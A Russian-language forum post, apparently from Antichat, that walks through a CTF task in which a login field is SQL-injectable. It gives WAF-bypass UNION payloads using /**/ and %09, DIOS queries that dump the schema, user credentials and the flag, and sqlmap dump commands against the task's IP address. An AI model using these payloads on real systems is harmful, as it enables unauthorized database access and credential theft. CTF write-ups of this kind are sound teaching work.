![]() |
Приветствую форумчан и любителей поиграть в CTF на Antichat.games
Сегодня я разберу таск Базовая Авторизация 2. Решил я его разобрать по полочкам, и показать как это можно сделать. По данному таску, я не увидел решений. У D3L1F3R на ютуб канале Я увидел как он получает флаг в этом задании, но разбора и какого то большого смысла я не увидел в этом(не в обиду сказано). По этому беремся и решаем =) https://forum.antichat.xyz/attachmen...7c455e9b58.png Заходим на сайт , тестовые креды приложены в описании таска , это test test пробуем: https://forum.antichat.xyz/attachmen...9d75079c51.png Конечно мы любим SqlInjection и проверяем это. Сначала нам нужно проверить какое поле уязвимо, а это поле login скажу сразу. Как я понял? да на аккаунт можно попасть и без пароля. Вводишь логин и ты уже User ID 1 =) Скорее всего отсутствует проверка пароля. Дальше мы пробуем самый обычный Union Based Injection: Добавим ложное условие test'AND false UNION SELECT 1,2-- - Видим что стоит фильтрация и нам нужно найти в чем загвостка. https://forum.antichat.xyz/attachmen...be60a77827.png Можно конечно перебирать UNION И SELECT , но мы пробуем сразу подставить /**/ вместо пробелов, что мы видим: Пропала плашка с WAF, но проблемка еще есть. https://forum.antichat.xyz/attachmen...5bef2b3ef3.png В качестве обхода пробельных символов могут срабатывать разные варианты. В конце запроса у нас --+- вот этот + нам нужно как то заменить. И на помощь нам приходит %09 комбинация. https://forum.antichat.xyz/attachmen...038f6ddcc1.png Хм опять ничего... Пробуем добавить количество колонок: Ура инфа появилась =) Мы подобрали ключик, теперь попробуем какая колонка выводит информацию. https://forum.antichat.xyz/attachmen...c70a09d017.png Пробуем первую: Успешно =) https://forum.antichat.xyz/attachmen...79806d3ec1.png Если мы видим что работает Union , пробуем Dios технику , сейчас будет магия как вывести много чего интересного одним запросом: 'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/ (information_schema.columns)/**/where/**/table_schema!='information_schema'and(@a)/**/in/**/ (@a:=concat(@a,table_schema,'-->',table_name,'-->',column_name,' '))))a),2,3--%09- https://forum.antichat.xyz/attachmen...8e4f9da205.png Здесь у нас идет название базы , таблицы и колонки которые имеются . Мы понимаем что скорее всего нам нужна таблица flags и колонка flag так и есть, но мы пройдемся по всему. Пробуем извлечь данные из колонок: 'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/ (data.users)/**/where/**/(@a)/**/in/**/(@a:=concat(@a,'',login,'','-->','',password,'',' '))))a),2,3--%09- Если обратить внимание на запрос, то мы понимаем, что извлекаем колонки login и password из таблицы users , вот в принципе и наши тестовые креды: https://forum.antichat.xyz/attachmen...2090446cac.png Попробуем вывести наш флаг: 'and/**/false/**/union/**/select/**/(select/**/(@a)/**/from/**/(select/**/(@a:=0x00),(select/**/(@a)/**/from/**/ (data.flags)/**/where/**/(@a)/**/in/**/(@a:=concat(@a,'',flag,'',' '))))a),2,3--%09- Мы успешно извлекли наш флаг (^-^) и довольные идем сдавать его. https://forum.antichat.xyz/attachmen...ddd61ab98c.png Думали это все? нет. Сейчас я покажу как это можно раскрутить с помощью всеми любимым SQLMAP. Сначала я начал решать его с помощью этого инструмента, но была ошибка. После я полез и разобрался с ним в ручную засучив рукава. Я понял что фильтруемся и какой тампер нужен. Пробуем: В данной нагрузке есть такие ограничения по количеству запросов, так же указан space2comment , как раз таки он заменяет пробелы на /**/ . sqlmap -u 'http://62.173.140.174:16015/user.php?login=test&password=test' --tamper='space2comment' --current-db --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch С начала мы извлекаем название базы данных https://forum.antichat.xyz/attachmen...773031769f.png https://forum.antichat.xyz/attachmen...4bb3021fc9.png Далее мы извлекаем таблицы: sqlmap -u 'http://62.173.140.174:16015/user.php?login=test&password=test' --tamper='space2comment' -D data --tables --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch https://forum.antichat.xyz/attachmen...da7ac4c6b6.png Успешно, далее извлекаем колонки: sqlmap -u 'http://62.173.140.174:16015/user.php?login=test&password=test' --tamper='space2comment' -D data -T flags --columns --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch https://forum.antichat.xyz/attachmen...6791018ada.png Финальное извлечение всего остального: sqlmap -u 'http://62.173.140.174:16015/user.php?login=test&password=test' --tamper='space2comment' --dump --dbms='MySQL' --no-cast --delay=0.3 --level=2 --risk=3 --batch https://forum.antichat.xyz/attachmen...36cdce43e0.png В принципе, все. Мы проделали большую работу и мы молодцы, задание оказалось интересным и были моменты где нужно было подумать. Надеюсь это будет полезно, не в этом задании так в другом. Я старался рассказать прям совсем подробно, чтобы было понимание. SqlMap сила в правильных руках, но сам по себе он работать не будет. Всем удачи и спасибо за внимание. |
| Время: 01:25 |